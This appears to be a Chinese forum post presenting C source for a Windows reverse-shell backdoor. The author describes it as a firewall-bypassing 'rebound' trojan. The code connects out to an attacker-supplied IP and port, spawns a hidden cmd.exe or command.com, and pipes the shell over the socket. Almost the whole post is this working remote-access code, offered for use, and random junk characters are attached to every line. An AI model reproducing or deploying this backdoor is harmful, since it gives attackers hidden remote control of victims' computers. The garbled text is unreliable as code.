这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *XzUqK
tbk9N( R
/* ============================== L,X6L @Q
Rebound port in Windows NT E3KPJ`=!*"
By wind,2006/7 bmddh2
===============================*/ %BHq2~J
#include Ap> n4~
#include pV-.r-P
\S2'3SDd/
#pragma comment(lib,"wsock32.lib") ->#7_W
T@HozZ
void OutputShell(); B'0Il"g'
SOCKET sClient; ,wEM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $fvUb_n
\1B*iW
void main(int argc,char **argv) "Ii!)n,
{ :3Jh f$
WSADATA stWsaData; ,zyrBO0 Eq
int nRet; 0UB'6wRVo
SOCKADDR_IN stSaiClient,stSaiServer; n<$I, IRE
!c`1~a!
if(argc != 3) p]g/iLDZ
{ mLYB6
printf("Useage:\n\rRebound DestIP DestPort\n"); Q\z*q,^R
return; ?3, *
} ?8nG F%p
J/*[wj
WSAStartup(MAKEWORD(2,2),&stWsaData); RGKJO_*J2
Bms?`7}N
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z'I0UB#
zj)[Sntn?
stSaiClient.sin_family = AF_INET; Te13Af~
stSaiClient.sin_port = htons(0); %?$"oWmenS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?k?Hp:8?=
u60l -
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xMh&C{q
{ 1f:k:Y9i
printf("Bind Socket Failed!\n"); A,/S/_Q=
return; rYqvG
} ;Os3
!
GgYomR:
stSaiServer.sin_family = AF_INET; 0.5_,an3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1WKDG~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <.2Z{;z
+Lr0i_al
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) / u{r5`4
{ Pg36'aTe%j
printf("Connect Error!"); G#C)]4[n
return; S'e2~-p0F
} k4P.}SJ?
OutputShell(); WveFB%@`;
} P;/T`R=Vr"
wtKh8^:YD
void OutputShell() Kna'5L5"
{ z=U!D `]v
char szBuff[1024]; ^s*} 0
SECURITY_ATTRIBUTES stSecurityAttributes; HKwGaCj`
OSVERSIONINFO stOsversionInfo; FRW.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N@$%0!
STARTUPINFO stStartupInfo; !Z ZA I_N
char *szShell; uwka 2aSS
PROCESS_INFORMATION stProcessInformation; bW]+Og
unsigned long lBytesRead; SJ-Sac58r
%ab79RS]C
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `dZ|}4[1
YovY0nO
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u|c+w)a
stSecurityAttributes.lpSecurityDescriptor = 0; v#FUD-Z
stSecurityAttributes.bInheritHandle = TRUE; ^xwFjQXx
lUEyo.xVt
I .ty-X]
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?+\,a+46P_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CmOb+:4@K
I1~g?jpH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p rgjU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bph*X{lFK
stStartupInfo.wShowWindow = SW_HIDE; h~p}08
stStartupInfo.hStdInput = hReadPipe; $EIkk= z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Kc0OLcu^d
08a|]li
GetVersionEx(&stOsversionInfo); o{p_s0IX;S
+IYSWR
switch(stOsversionInfo.dwPlatformId) &?6w2[}
{ #Au&2_O
case 1: cG:`Zj~4
szShell = "command.com"; HV.7IyBA^
break; \irjIXtV
default: dk/*%a
+
szShell = "cmd.exe"; xF;v 6d
break; 8B/9{8
} Rjl __90
z%tu6_4j
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); . $YF|v[=
6,1|y%(f
send(sClient,szMsg,77,0); [)~@NN
while(1) us%RQ8=k
{ hJsC
\ C,^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FOi`TZ8
if(lBytesRead) 0)V-|v`
{ &NeYKh?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]H~,K ]@.
send(sClient,szBuff,lBytesRead,0); FaE orQ
} wtS*w
else [uQZD1<q
{ UE w3AO
lBytesRead=recv(sClient,szBuff,1024,0); GQq'~Lr5
if(lBytesRead<=0) break; \r,.hUp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MPN=K|*
} %0]b5u
} $]J IA|
1iL
xXd
return;
Fjt,
}